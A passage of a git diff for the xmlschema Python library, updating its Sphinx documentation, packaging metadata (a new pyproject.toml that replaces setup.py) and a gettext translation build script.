autofunction:: xmlschema.fetch_schema_locations -.. autofunction:: xmlschema.normalize_url +.. autofunction:: xmlschema.fetch_schema +.. autofunction:: xmlschema.download_schemas .. autoclass:: xmlschema.XMLResource @@ -215,6 +226,27 @@ XML resources API .. autoclass:: xmlschema.XmlDocument +.. _translation-api: + +Translation API +=============== + +.. autofunction:: xmlschema.translation.activate +.. autofunction:: xmlschema.translation.deactivate + + +.. _namespace-api: + +Namespaces API +============== + +Classes for converting namespace representation or for accessing namespace objects: + +.. autoclass:: xmlschema.namespaces.NamespaceResourcesMap +.. autoclass:: xmlschema.namespaces.NamespaceMapper +.. autoclass:: xmlschema.namespaces.NamespaceView + + .. _xpath-api: XPath API diff --git a/doc/conf.py b/doc/conf.py index edb1840..b3b43bf 100644 --- a/doc/conf.py +++ b/doc/conf.py @@ -41,6 +41,22 @@ # Option for autodoc: do not add module name as prefix to classes or functions. add_module_names = False +nitpick_ignore = [ + ('py:class', 'pathlib.Path'), + ('py:class', 'xml.etree.ElementTree.Element'), + ('py:class', 'xmlschema.aliases.T'), + ('py:class', 'xmlschema.namespaces.T'), + ('py:class', 'xmlschema.xpath.mixin.E_co'), + ('py:class', 'xmlschema.validators.xsdbase.DT'), + ('py:class', 'xmlschema.validators.xsdbase.ST'), + ('py:class', 'XsdValidator'), + ('py:class', 'XMLSchemaMeta'), + ('py:class', 'xmlschema.validators.schemas.XMLSchema10'), + ('py:meth', 'read'), + ('py:meth', 'write'), + ('py:obj', 'typing.IO'), +] + # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] @@ -55,7 +71,7 @@ # General information about the project. project = 'xmlschema' -copyright = '2016-2021, SISSA - Scuola Internazionale Superiore di Studi Avanzati' +copyright = '2016-2024, SISSA - Scuola Internazionale Superiore di Studi Avanzati' author = 'Davide Brunato' # The version info for the project you're documenting, acts as replacement for @@ -63,16 +79,17 @@ # built documents. # # The short X.Y version. -version = '1.10' +version = '3.4' # The full version, including alpha/beta/rc tags. -release = '1.10.0' +release = '3.4.5' # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. # # This is also used if you do content translation via gettext catalogs. # Usually you set "language" from the command line for these cases. -language = None +# language = None +language = 'en' # required by Sphinx v5.0.0 # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. @@ -103,7 +120,8 @@ # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". -html_static_path = ['_static'] +# html_static_path = ['_static'] +html_static_path = [] # Custom sidebar templates, must be a dictionary that maps document names # to template names. diff --git a/doc/converters.rst b/doc/converters.rst index f0bbeb9..845bf64 100644 --- a/doc/converters.rst +++ b/doc/converters.rst @@ -26,14 +26,14 @@ like JSON, because prefixed name is more manageable and readable than expanded f Available converters ==================== -The library includes some converters. The default converter :class:`XMLSchemaConverter` +The library includes some converters. The default converter :class:`xmlschema.XMLSchemaConverter` is the base class of other converter types. Each derived converter type implements a well know convention, related to the conversion from XML to JSON data format: - * :class:`ParkerConverter`: `Parker convention `_ - * :class:`BadgerFishConverter`: `BadgerFish convention `_ - * :class:`AbderaConverter`: `Apache Abdera project convention `_ - * :class:`JsonMLConverter`: `JsonML (JSON Mark-up Language) convention `_ + * :class:`xmlschema.ParkerConverter`: `Parker convention `_ + * :class:`xmlschema.BadgerFishConverter`: `BadgerFish convention `_ + * :class:`xmlschema.AbderaConverter`: `Apache Abdera project convention `_ + * :class:`xmlschema.JsonMLConverter`: `JsonML (JSON Mark-up Language) convention `_ A summary of these and other conventions can be found on the wiki page `JSON and XML Conversion `_. @@ -46,18 +46,18 @@ base class options and attributes. Moreover there are also other two converters useful for specific cases: - * :class:`UnorderedConverter`: like default converter but with unordered decoding and encoding. - * :class:`ColumnarConverter`: a converter that remaps attributes as child elements in a + * :class:`xmlschema.UnorderedConverter`: like default converter but with unordered decoding and encoding. + * :class:`xmlschema.ColumnarConverter`: a converter that remaps attributes as child elements in a columnar shape (available since release v1.2.0). - * :class:`DataElementConverter`: a converter that converts XML to a tree of - :class:`DataElement` intances, Element-like objects with decoded values and + * :class:`xmlschema.DataElementConverter`: a converter that converts XML to a tree of + :class:`xmlschema.DataElement` instances, Element-like objects with decoded values and schema bindings (available since release v1.5.0). Create a custom converter ========================= -To create a new customized converter you have to subclass the :class:`XMLSchemaConverter` +To create a new customized converter you have to subclass the :class:`xmlschema.XMLSchemaConverter` and redefine the two methods *element_decode* and *element_encode*. These methods are based on the namedtuple `ElementData`, an Element-like data structure that stores the decoded Element parts. This namedtuple is used by decoding and encoding methods as an intermediate diff --git a/doc/extras.rst b/doc/extras.rst index 118a57f..4b1b5c0 100644 --- a/doc/extras.rst +++ b/doc/extras.rst @@ -27,16 +27,16 @@ Code generation with Jinja2 templates ===================================== The module *xmlschema.extras.codegen* provides an abstract base class -:class:`AbstractGenerator` for generate source code from parsed XSD -schemas. The Jinja2 engine is embedded in that class and empowered -with a set of custom filters and tests for accessing to defined XSD -schema components. +:class:`xmlschema.extras.codegen.AbstractGenerator` for generate source +code from parsed XSD schemas. The Jinja2 engine is embedded in that class +and is empowered with a set of custom filters and tests for accessing to +defined XSD schema components. Schema based filters -------------------- -Within templates you can use a set of addional filters, available for all +Within templates you can use a set of additional filters, available for all generator subclasses: name @@ -64,13 +64,34 @@ sort_types Sort a sequence or a map of XSD types, in reverse dependency order, detecting circularities. +Schema based tests +------------------ + +Within templates you can also use a set of tests, available for all generator classes: + +derivation + Test if an XSD type instance is a derivation of any of a list of + other types. Other types are provided by qualified names. + +extension + Test if an XSD type instance is an extension of any of a list of + other types. Other types are provided by qualified names. + +restriction + Test if an XSD type instance is a restriction of any of a list of + other types. Other types are provided by qualified names. + +multi_sequence + Test if an XSD type is a complex type with complex content that at + least one child can have multiple occurrences. + Type mapping ------------ Each implementation of a generator class has an additional filter for translating -types using the types map of the instance. For example a :class:`PythonGenerator` -has the filter *python_type*. +types using the types map of the instance. +For example :class:`xmlschema.extras.codegen.PythonGenerator` has the filter *python_type*. These filters are based on a common method *map_type* that uses an instance dictionary built at initialization time from a class maps for builtin types @@ -110,9 +131,9 @@ The module *xmlschema.extras.wsdl* provides a specialized schema-related XML document for WSDL 1.1. An example of -specialization is the class :class:`Wsdl11Document`, usable for validating and -parsing WSDL 1.1 documents, that can be imported from *wsdl* module of the *extra* -subpackage: +specialization is the class :class:`xmlschema.extras.wsdl.Wsdl11Document`, usable +for validating and parsing WSDL 1.1 documents, that can be imported from *wsdl* +module of the *extra* subpackage: .. doctest:: diff --git a/doc/features.rst b/doc/features.rst index 51623eb..b6617e3 100644 --- a/doc/features.rst +++ b/doc/features.rst @@ -10,9 +10,9 @@ alternative classes or module parameters. XSD 1.0 and 1.1 support ======================= -From release v1.0.14 XSD 1.1 support has been added to the library through the class -:class:`XMLSchema11`. You have to use this class for XSD 1.1 schemas instead the default -class :class:`XMLSchema`, that is linked to XSD 1.0 validator :class:`XMLSchema10`. +Since release v1.0.14 XSD 1.1 support has been added to the library through the class +:class:`xmlschema.XMLSchema11`. You have to use this class for XSD 1.1 schemas instead the default +class :class:`xmlschema.XMLSchema`, that is linked to XSD 1.0 validator :class:`xmlschema.XMLSchema10`. The XSD 1.1 validator can be used also for validating XSD 1.0 schemas, except for a restricted set of cases related to content extension in a complexType (the extension @@ -65,11 +65,56 @@ using the *validation* argument setted to 'lax'. discarded by the top-level methods *decode()* and *encode()*. +Namespaces mapping options +========================== + +Since the earlier releases the validation/decoding/encoding methods include the +*namespaces* optional argument that can be used to provide a custom namespace +mapping. +In versions prior to 3 of the library the XML declarations are loaded and merged +over the custom mapping during the XML document traversing, using alternative +prefixes in case of collision. + +With version 3.0 the processing of namespace information of the XML document has +been improved, with the default of maintaining an exact namespace mapping between +the XML source and the decoded data. + +The feature is available both with the decoding and encoding API with the new converter +option *xmlns_processing*, that permits to change the processing mode of the namespace +declarations of the XML document. + +The preferred mode is *'stacked'*, the mode that maintains a stack of namespace mapping +contexts, with the active context that always match the namespace declarations defined +in the XML document. In this case the namespace map is updated dynamically, adding and +removing the XML declarations found in internal elements. This choice provide the most +accurate mapping of the namespace information of the XML document. + +Use the option value *'collapsed'* for loading all namespace declarations in a single +map. In this case the declarations are merged into the namespace map of the converter, +using alternative prefixes in case of collision. +This is the legacy behaviour of versions prior to 3 of the library. + +With *'root-only'* only the namespace declarations of the XML document root are loaded. +In this case you are expected to provide the internal namespace information with +*namespaces* argument. + +Use *'none'* to not load any namespace declaration of the XML document. Use this +option if you don't want to map namespaces to prefixes or you want to provide a +fully custom namespace mapping. + +For default *xmlns_processing* option is set automatically depending by the converter +class capability and the XML data source. The option is available also for +encoding with updated converter classes that can retrieve xmlns declarations from +decoded data (e.g. :class:`xmlschema.JsonMLConverter` or the default converter). +For decoding the default is set to *'stacked'* or *'collapsed'*, for encoding the +default can be also *'none'* if no namespace declaration can be retrieved from XML +data (e.g. :class:`xmlschema.ParkerConverter`). + Lazy validation =============== From release v1.0.12 the document validation and the decoding API have an optional argument -`lazy=False`, that can be changed to `True` for operating with a lazy :class:`XMLResource`. +`lazy=False`, that can be changed to `True` for operating with a lazy :class:`xmlschema.XMLResource`. The lazy mode can be useful for validating and decoding big XML data files, consuming less memory. @@ -170,3 +215,29 @@ value of ``MAX_XML_DEPTH`` in the module *limits* after the import of the packag >>> import xmlschema >>> xmlschema.limits.MAX_XML_DEPTH = 1000 + +Translations of parsing/validation error messages +================================================= + +From release v1.11.0 translation of parsing/validation error messages can +be activated: + +.. doctest:: + + >>> import xmlschema + >>> xmlschema.translation.activate() + +.. note:: + Activation depends by the default language in your environment and if it matches + translations provided with the library. You can build your custom translation from + the template included in the repository (`xmlschema/locale/xmlschema.pot`) and then + use it in your runs providing *localedir* and *languages* arguments to activation call. + See :ref:`translation-api` for information. + +Translations for default do not interfere with other translations installed +at runtime and can be deactivated after: + +.. doctest:: + + >>> xmlschema.translation.deactivate() + diff --git a/doc/intro.rst b/doc/intro.rst index b2943a3..062f45f 100644 --- a/doc/intro.rst +++ b/doc/intro.rst @@ -19,4 +19,6 @@ Support This software is hosted on GitHub, refer to the `xmlschema's project page `_ -for source code and for an issue tracker. +for source code and the issue tracker. For questions, info and announcements refer also to +`the discussion section of the project page `_ +instead of open a new issue. diff --git a/doc/requirements.txt b/doc/requirements.txt new file mode 100644 index 0000000..a42befa --- /dev/null +++ b/doc/requirements.txt @@ -0,0 +1,4 @@ +Sphinx==7.2.6 +sphinx-rtd-theme==2.0.0 +readthedocs-sphinx-search==0.3.2 +elementpath \ No newline at end of file diff --git a/doc/usage.rst b/doc/usage.rst index f6df2de..215ccc8 100644 --- a/doc/usage.rst +++ b/doc/usage.rst @@ -94,8 +94,8 @@ build after the loading of all schema resources. For example: >>> _ = schema.include_schema('tests/test_cases/examples/vehicles/bikes.xsd') >>> schema.build() -Another option, available from release v1.6.1, is to provide a list of schema sources, -particurlaly useful when sources have no locations associated: +Another option, available since release v1.6.1, is to provide a list of schema sources, +particularly useful when sources have no locations associated: .. doctest:: @@ -105,7 +105,7 @@ particurlaly useful when sources have no locations associated: ... open('tests/test_cases/examples/vehicles/types.xsd')] >>> schema = xmlschema.XMLSchema(sources) -or similarly to the previous example one can use the method :meth:`add_schema()`: +or similarly to the previous example one can use the method :meth:`xmlschema.XMLSchemaBase.add_schema`: .. doctest:: @@ -118,18 +118,74 @@ or similarly to the previous example one can use the method :meth:`add_schema()` .. note:: - Anyway the advice is to build intermediate XSD schemas intead for loading + Anyway, the advice is to build intermediate XSD schemas instead for loading all the schemas needed in a standard way, because XSD mechanisms of imports, - includes, redefines and overrides are usually supported when you submit your + includes, redefines, and overrides are usually supported when you submit your schemas to other XSD validators. +Creating a local copy of a remote XSD schema for offline use +------------------------------------------------------------ + +Sometimes, it is advantageous to validate XML files using an XSD schema located +at a remote location while also having the option to store the same schema +locally for offline use. + +The first option is to build a schema and then export the XSD sources to a local +directory: + +.. code-block:: py + + import xmlschema + schema = xmlschema.XMLSchema("https://www.omg.org/spec/ReqIF/20110401/reqif.xsd") + schema.export(target='my_schemas', save_remote=True) + schema = xmlschema.XMLSchema("my_schemas/reqif.xsd") # works without internet + +With these commands, a folder ``my_schemas`` is created and contains the +XSD files that can be used without access to the internet. + +The resulting XSD files are identical to their remote source files, with the +only difference being that xmlschema transforms the remote URLs into local +URLs. The ``export`` command bundles a set of a target XSD file and all its +dependencies by changing the ``schemaLocation`` attributes into +``xs:import/xs:include`` statements as follows: + +.. code-block:: xml + + + +becomes + +.. code-block:: xml + + + +The alternative option is to download the XSD resources directly: + +.. code-block:: py + + from xmlschema import download_schemas + download_schemas("https://www.omg.org/spec/ReqIF/20110401/reqif.xsd", target='my_schemas') + +For default the original XSD schemas are not changed and a location map is returned. This map +is also written to a LOCATION_MAP dictionary in the target directory as the module `__init__.py`, +so can be used after as *uri_mapper* argument for building the schema instance. + +.. note:: + + Since release v2.5.0 the ``schemaLocation`` attributes are rewritten with + local paths that don't start with the target directory path, in order to be + reusable from any working directory. Furthermore for default the residual + redundant imports from different location hints, are cleaned stripping + ``schemaLocation`` attributes from them. + + Validation ========== A schema instance has methods to validate an XML document against the schema. -The first method is :meth:`XMLSchema.is_valid`, that returns ``True`` +The first method is :meth:`xmlschema.XMLSchemaBase.is_valid`, that returns ``True`` if the XML argument is validated by the schema loaded in the instance, and returns ``False`` if the document is invalid. @@ -145,8 +201,8 @@ and returns ``False`` if the document is invalid. False An alternative mode for validating an XML document is implemented by the method -:meth:`XMLSchema.validate`, that raises an error when the XML doesn't conforms -to the schema: +:meth:`xmlschema.XMLSchemaBase.validate`, that raises an error when the XML doesn't +conform to the schema: .. doctest:: @@ -387,9 +443,9 @@ For instance you can use the *Badgerfish* converter for a schema instance: >>> xml_document = 'tests/test_cases/examples/vehicles/vehicles.xml' >>> xs = xmlschema.XMLSchema(xml_schema, converter=xmlschema.BadgerFishConverter) >>> pprint(xs.to_dict(xml_document, dict_class=dict), indent=4) - { '@xmlns': { 'vh': 'http://example.com/vehicles', - 'xsi': 'http://www.w3.org/2001/XMLSchema-instance'}, - 'vh:vehicles': { '@xsi:schemaLocation': 'http://example.com/vehicles ' + { 'vh:vehicles': { '@xmlns': { 'vh': 'http://example.com/vehicles', + 'xsi': 'http://www.w3.org/2001/XMLSchema-instance'}, + '@xsi:schemaLocation': 'http://example.com/vehicles ' 'vehicles.xsd', 'vh:bikes': { 'vh:bike': [ { '@make': 'Harley-Davidson', '@model': 'WL'}, @@ -412,8 +468,112 @@ to the method call: See the :ref:`converters` section for more information about converters. +Control the decoding of XSD atomic datatypes +-------------------------------------------- + +XSD datatypes are decoded to Python basic datatypes. Python strings are used +for all string-based XSD types and others, like *xs:hexBinary* or *xs:QName*. +Python integers are used for *xs:integer* and derived types, `bool` for *xs:boolean* +values and `decimal.Decimal` for *xs:decimal* values. + +Currently there are three options for variate the decoding of XSD atomic datatypes: + +decimal_type + decoding type for *xs:decimal* (is `decimal.Decimal` for default) + +datetime_types + if set to `True` decodes datetime and duration types to their respective XSD + atomic types instead of keeping the XML string value + +binary_types + if set to `True` decodes *xs:hexBinary* and *xs:base64Binary* types to their + respective XSD atomic types instead of keeping the XML string value + + +Filling missing values +---------------------- + +Incompatible values are decoded with `None` when the *validation* mode is `'lax'`. +For these situations there are two options for changing the behavior of the decoder: + +filler + a callback function to fill undecodable data with a typed value. The + callback function must accept one positional argument, that can be an + XSD Element or an attribute declaration. If not provided undecodable + data is replaced by `None`. + +fill_missing + if set to True the decoder fills also missing attributes. The filling value + is None or a typed value if the *filler* callback is provided. + + +Control the decoding of elements +-------------------------------- + +These options concern the decoding of XSD elements: + +value_hook + a function that will be called with any decoded atomic value and the XSD type + used for decoding. The return value will be used instead of the original value. + +keep_empty + if set to `True` empty elements that are valid are decoded with an empty string + value instead of `None`. + +element_hook + an function that is called with decoded element data before calling the converter + decode method. Takes an `ElementData` instance plus optionally the XSD element + and the XSD type, and returns a new `ElementData` instance. + + +Control the decoding of wildcards +--------------------------------- + +These two options are specific for the content processed with an XSD wildcard: + +keep_unknown + if set to `True` unknown tags are kept and are decoded with *xs:anyType*. + For default unknown tags not decoded by a wildcard are discarded. + +process_skipped + process XML data that match a wildcard with `processContents=’skip’`. + + +Control the decoding depth +-------------------------- + +max_depth + maximum level of decoding, for default there is no limit. With lazy resources + is automatically set to *source.lazy_depth* for managing lazy decoding. + Available also for validation methods. + +depth_filler + a callback function for replacing data over the *max_depth* level. The callback + function must accept one positional argument, that can be an XSD Element. For + default deeper data is replaced with `None` values when *max_depth* is provided. + +Control the validation +---------------------- + +extra_validator + an optional function for performing non-standard validations on XML data. The + provided function is called for each traversed element, with the XML element as + 1st argument and the corresponding XSD element as 2nd argument. It can be also a + generator function and has to raise/yield `XMLSchemaValidationError` exceptions. + +validation_hook + an optional function for stopping or changing validation/decoding at element level. + The provided function must accept two arguments, the XML element and the matching + XSD element. If the value returned by this function is evaluated to false then the + validation/decoding process continues without changes, otherwise it's stopped or + changed. If the value returned is a validation mode the validation/decoding process + continues changing the current validation mode to the returned value, otherwise the + element and its content are not processed. For validation only this function can + also stop validation suddenly raising a `XMLSchemaStopValidation` exception. + + Decoding to JSON ----------------- +================ The data structured created by the decoder can be easily serialized to JSON. But if you data include `Decimal` values (for *decimal* XSD built-in type) you cannot convert the data to JSON: @@ -497,9 +657,9 @@ See the :meth:`xmlschema.to_json` and :meth:`xmlschema.from_json` in the XML resources and documents =========================== -Schemas and XML instances processing are based on the class :class:`XMLResource`, +Schemas and XML instances processing are based on the class :class:`xmlschema.XMLResource`, that handles the loading and the iteration of XSD/XML data. -Starting from v1.3.0 :class:`XMLResource` has been empowered with ElementTree-like +Starting from v1.3.0 :class:`xmlschema.XMLResource` has been empowered with ElementTree-like XPath API. From the same release a new class :class:`xmlschema.XmlDocument` is available for representing XML resources with a related schema: @@ -511,4 +671,89 @@ available for representing XML resources with a related schema: XMLSchema10(name='vehicles.xsd', namespace='http://example.com/vehicles') This class can be used to derive specialized schema-related classes. -See :ref:`wsdl11-documents` section for an application example. \ No newline at end of file +See :ref:`wsdl11-documents` section for an application example. + + +Meta-schemas and XSD sources +============================ + +Schema classes :class:`xmlschema.XMLSchema10` and :class:`xmlschema.XMLSchema11` +have built-in meta-schema instances, related to the XSD namespace, that can be used +directly to validate XSD sources without build a new schema: + +.. doctest:: + + >>> from xmlschema import XMLSchema + >>> XMLSchema.meta_schema.validate('tests/test_cases/examples/vehicles/vehicles.xsd') + >>> XMLSchema.meta_schema.validate('tests/test_cases/examples/vehicles/invalid.xsd') + Traceback (most recent call last): + ... + ... + xmlschema.validators.exceptions.XMLSchemaValidationError: failed validating ... + + Reason: use of attribute 'name' is prohibited + + Schema: + + + + + + + + + + + + + + Instance: + + + + + + + + + Path: /xs:schema/xs:element/xs:complexType + + +Furthermore also decode and encode methods can be applied on XSD files or sources: + +.. doctest:: + + >>> from xmlschema import XMLSchema + >>> obj = XMLSchema.meta_schema.decode('tests/test_cases/examples/vehicles/vehicles.xsd') + >>> from pprint import pprint + >>> pprint(obj) + {'@attributeFormDefault': 'unqualified', + '@blockDefault': [], + '@elementFormDefault': 'qualified', + '@finalDefault': [], + '@targetNamespace': 'http://example.com/vehicles', + '@xmlns:vh': 'http://example.com/vehicles', + '@xmlns:xs': 'http://www.w3.org/2001/XMLSchema', + 'xs:attribute': {'@name': 'step', '@type': 'xs:positiveInteger'}, + 'xs:element': {'@abstract': False, + '@name': 'vehicles', + '@nillable': False, + 'xs:complexType': {'@mixed': False, + 'xs:sequence': {'@maxOccurs': 1, + '@minOccurs': 1, + 'xs:element': [{'@maxOccurs': 1, + '@minOccurs': 1, + '@nillable': False, + '@ref': 'vh:cars'}, + {'@maxOccurs': 1, + '@minOccurs': 1, + '@nillable': False, + '@ref': 'vh:bikes'}]}}}, + 'xs:include': [{'@schemaLocation': 'cars.xsd'}, + {'@schemaLocation': 'bikes.xsd'}]} + +.. note:: + Building a new schema for XSD namespace could be not trivial because other schemas are + required for base namespaces (e.g. XML namespace 'http://www.w3.org/XML/1998/namespace'). + This is particularly true for XSD 1.1 because the XSD meta-schema lacks of built-in + list types definitions, so a patch schema is required. diff --git a/mypy.ini b/mypy.ini deleted file mode 100644 index 7024cfd..0000000 --- a/mypy.ini +++ /dev/null @@ -1,2 +0,0 @@ -[mypy] -show_error_codes = True diff --git a/publiccode.yml b/publiccode.yml index a294d62..64527ca 100644 --- a/publiccode.yml +++ b/publiccode.yml @@ -1,4 +1,4 @@ - # This repository adheres to the publiccode.yml standard by including this +# This repository adheres to the publiccode.yml standard by including this # metadata file that makes public software easily discoverable. # More info at https://github.com/italia/publiccode.yml @@ -6,8 +6,8 @@ publiccodeYmlVersion: '0.2' name: xmlschema url: 'https://github.com/sissaschool/xmlschema' landingURL: 'https://github.com/sissaschool/xmlschema' -releaseDate: '2022-03-07' -softwareVersion: v1.10.0 +releaseDate: '2025-03-22' +softwareVersion: v3.4.5 developmentStatus: stable platforms: - linux @@ -29,7 +29,7 @@ maintenance: contacts: - name: Davide Brunato email: davide.brunato@sissa.it - affiliation: ' Scuola Internazionale Superiore di Studi Avanzati' + affiliation: 'Scuola Internazionale Superiore di Studi Avanzati' legal: license: MIT mainCopyrightOwner: Scuola Internazionale Superiore di Studi Avanzati @@ -50,7 +50,7 @@ description: shortDescription: XML Schema validator and data conversion library for Python longDescription: > The _xmlschema_ library is an implementation of [XML - Schema](http://www.w3.org/2001/XMLSchema) for Python (supports Python 3.5+). + Schema](http://www.w3.org/2001/XMLSchema) for Python (supports Python 3.8+). This library arises from the needs of a solid Python layer for processing diff --git a/pyproject.toml b/pyproject.toml new file mode 100644 index 0000000..6116d60 --- /dev/null +++ b/pyproject.toml @@ -0,0 +1,101 @@ +[build-system] +requires = ["setuptools >= 61.0"] +build-backend = "setuptools.build_meta" + +[project] +name = "xmlschema" +version = "3.4.5" +description = "An XML Schema validator and decoder" +readme = "README.rst" +license = {text = "MIT"} +requires-python = ">=3.8" +authors = [ + { name = "Davide Brunato", email = "brunato@sissa.it" }, +] +classifiers = [ + "Development Status :: 5 - Production/Stable", + "Intended Audience :: Developers", + "Intended Audience :: Information Technology", + "Intended Audience :: Science/Research", + "License :: OSI Approved :: MIT License", + "Operating System :: OS Independent", + "Programming Language :: Python", + "Programming Language :: Python :: 3", + "Programming Language :: Python :: 3 :: Only", + "Programming Language :: Python :: 3.8", + "Programming Language :: Python :: 3.9", + "Programming Language :: Python :: 3.10", + "Programming Language :: Python :: 3.11", + "Programming Language :: Python :: 3.12", + "Programming Language :: Python :: 3.13", + "Programming Language :: Python :: 3.14", + "Programming Language :: Python :: Implementation :: CPython", + "Programming Language :: Python :: Implementation :: PyPy", + "Topic :: Software Development :: Libraries", + "Topic :: Text Processing :: Markup :: XML", +] +dependencies = [ + "elementpath>=4.4.0, <5.0.0", +] + +[project.optional-dependencies] +codegen = [ + "jinja2", +] +dev = [ + "coverage", + "flake8", + "lxml", + "lxml-stubs", + "memory_profiler", + "mypy", + "tox", + "xmlschema[docs]", +] +docs = [ + "jinja2", + "sphinx", + "sphinx_rtd_theme", +] + +[project.scripts] +xmlschema-json2xml = "xmlschema.cli:json2xml" +xmlschema-validate = "xmlschema.cli:validate" +xmlschema-xml2json = "xmlschema.cli:xml2json" + +[project.urls] +Homepage = "https://github.com/sissaschool/xmlschema" + +[tool.setuptools] +license-files = [ "LICENSE" ] +include-package-data = false + +[tool.setuptools.package-data] +xmlschema = [ + 'py.typed', + 'locale/**/*.mo', + 'locale/**/*.po', + 'schemas/*/*.xsd', + 'extras/templates/*/*.jinja' +] + +[tool.setuptools.packages.find] +include = ["xmlschema*"] +namespaces = false + +[tool.mypy] +show_error_code_links = true + +[tool.coverage.run] +branch = true +source = ["xmlschema"] +omit = ["xmlschema/testing/*"] + +[tool.coverage.report] +exclude_lines = [ + "pragma: no cover", + "if TYPE_CHECKING:", + "raise NotImplementedError()", + 'in self._etree_iterparse\(', + 'in PyElementTree.iterparse\(', +] diff --git a/requirements-dev.txt b/requirements-dev.txt index 640d981..3add0b3 100644 --- a/requirements-dev.txt +++ b/requirements-dev.txt @@ -1,14 +1,2 @@ # Requirements for setup a development environment for the xmlschema package. -setuptools -tox -coverage -elementpath>=2.5.0, <3.0.0 -lxml -jinja2 -memory_profiler -Sphinx -sphinx_rtd_theme -flake8 -mypy -lxml-stubs --e . +-e .[dev] diff --git a/scripts/make_translation.py b/scripts/make_translation.py new file mode 100644 index 0000000..fcd2fbf --- /dev/null +++ b/scripts/make_translation.py @@ -0,0 +1,150 @@ +# +# Copyright (c), 2016-2022, SISSA (International School for Advanced Studies). +# All rights reserved. +# This file is distributed under the terms of the MIT License. +# See the file 'LICENSE' in the root directory of the present +# distribution, or http://opensource.org/licenses/MIT. +# +# @author Davide Brunato +# +# type: ignore +# +"""Translation files generator utility.""" + +if __name__ == '__main__': + import argparse + import os + import sys + import subprocess + from pathlib import Path + + COPYRIGHT_HOLDER = r", 2016, SISSA (International School for Advanced Studies)." + + parser = argparse.ArgumentParser( + description="Translation files generator utility for xmlschema" + ) + parser.add_argument( + '-L', '--directory', metavar='LOCALE-DIR', type=str, default=None, + help="use a custom locale directory (for extra local translations)" + ) + parser.add_argument( + '-t', '--template', action='store_true', default=False, + help="generate xmlschema.pot template file" + ) + parser.add_argument( + '-u', '--update', action='store_true', default=False, + help="update locale xmlschema.po file from xmlschema.pot template" + ) + parser.add_argument( + '-c', '--compile', action='store_true', default=False, + help="generate xmlschema.mo file from locale xmlschema.po" + ) + parser.add_argument('languages', type=str, nargs='*', + help="process locale files for languages") + args = parser.parse_args() + + if args.directory is not None: + locale_dir = Path(args.directory).resolve() + os.chdir(Path(__file__).parent.parent) + try: + locale_dir = locale_dir.relative_to(os.getcwd()) + except ValueError: + pass # Not a subdir, use the absolute path. + else: + os.chdir(Path(__file__).parent.parent) + locale_dir = Path('xmlschema/locale') + assert locale_dir.is_dir(), 'locale directory not found!' + + package_dir = Path('xmlschema') + assert package_dir.is_dir(), 'xmlschema/ package directory not found!' + + template_file = locale_dir.joinpath('xmlschema.pot') + if args.template: + print("+++ Generate the template file ...") + + status, xgettext_cmd = subprocess.getstatusoutput('which xgettext') + assert status == 0, "xgettext command is not available!" + + cmd = [xgettext_cmd, + f'--copyright-holder={COPYRIGHT_HOLDER}', + '--package-name=xmlschema', + '--from-code=UTF-8', + '-o', str(template_file)] + cmd.extend(str(path) for path in package_dir.glob('**/*.py')) + process = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + + stderr = process.stderr.decode('utf-8').strip() + if stderr: + print(stderr) + sys.exit(1) + + # .POT template file fixes + with template_file.open() as fp: + text = fp.read().replace('charset=CHARSET', 'charset=UTF-8', 1) + with template_file.open(mode='w') as fp: + fp.write(text) + + print(f' ... file {str(template_file)} written\n') + + if not args.languages: + print("No language code provided, exit ...") + sys.exit() + + if args.update: + status, msgmerge_cmd = subprocess.getstatusoutput('which msgmerge') + assert status == 0, "msgmerge command is not available!" + + for lang in args.languages: + print(f"+++ Update the .po file for language {lang!r}") + + po_file = locale_dir.joinpath(f'{lang}/LC_MESSAGES/xmlschema.po') + if not po_file.exists(): + po_file.parent.mkdir(parents=True, exist_ok=True) + + status, msginit_cmd = subprocess.getstatusoutput('which msginit') + assert status == 0, "msginit command is not available!" + + cmd = [msginit_cmd, + '-l', f'{lang}', + '-o', str(po_file), + '-i', str(template_file)] + process = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + + stderr = process.stderr.decode('utf-8').strip() + if stderr: + print(stderr) + + print(f' ... file {str(po_file)} initialized\n') + + cmd = [msgmerge_cmd, '-o', str(po_file), str(po_file), str(template_file)] + process = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + + stderr = process.stderr.decode('utf-8').strip() + if 'done' not in stderr: + print(stderr) + sys.exit(1) + + print(f' ... file {str(po_file)} updated\n') + + if args.compile: + status, msgfmt_cmd = subprocess.getstatusoutput('which msgfmt') + assert status == 0, "msgfmt command is not available!" + + for lang in args.languages: + print(f"+++ Generate the .mo file for language {lang!r}") + + po_file = locale_dir.joinpath(f'{lang}/LC_MESSAGES/xmlschema.po') + mo_file = locale_dir.joinpath(f'{lang}/LC_MESSAGES/xmlschema.mo') + if not po_file.exists(): + print(f" ... file {str(po_file)} doesn't exist!") + sys.exit(1) + + cmd = [msgfmt_cmd, '-o', str(mo_file), str(po_file)] + process = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + + stderr = process.stderr.decode('utf-8').strip() + if stderr: + print(stderr) + sys.exit(1) + + print(f' ... file {str(mo_file)} written\n') diff --git a/setup.py b/setup.py deleted file mode 100755 index 3f0b50a..0000000 --- a/setup.py +++ /dev/null @@ -1,66 +0,0 @@ -#! /usr/bin/env python -# -# Copyright (c) 2016-2022, SISSA (International School for Advanced Studies). -# All rights reserved. -# This file is distributed under the terms of the MIT License. -# See the file 'LICENSE' in the root directory of the present -# distribution, or http://opensource.org/licenses/MIT. -# -# @author Davide Brunato -# -from setuptools import setup, find_packages -from pathlib import Path - - -with Path(__file__).parent.joinpath('README.rst').open() as readme: - long_description = readme.read() - - -setup( - name='xmlschema', - version='1.10.0', - packages=find_packages(include=['xmlschema', 'xmlschema.*']), - include_package_data=True, - entry_points={ - 'console_scripts': [ - 'xmlschema-validate=xmlschema.cli:validate', - 'xmlschema-xml2json=xmlschema.cli:xml2json', - 'xmlschema-json2xml=xmlschema.cli:json2xml', - ] - }, - python_requires='>=3.7', - install_requires=['elementpath>=2.5.0, <3.0.0'], - extras_require={ - 'codegen': ['elementpath>=2.5.0, <3.0.0', 'jinja2'], - 'dev': ['tox', 'coverage', 'lxml', 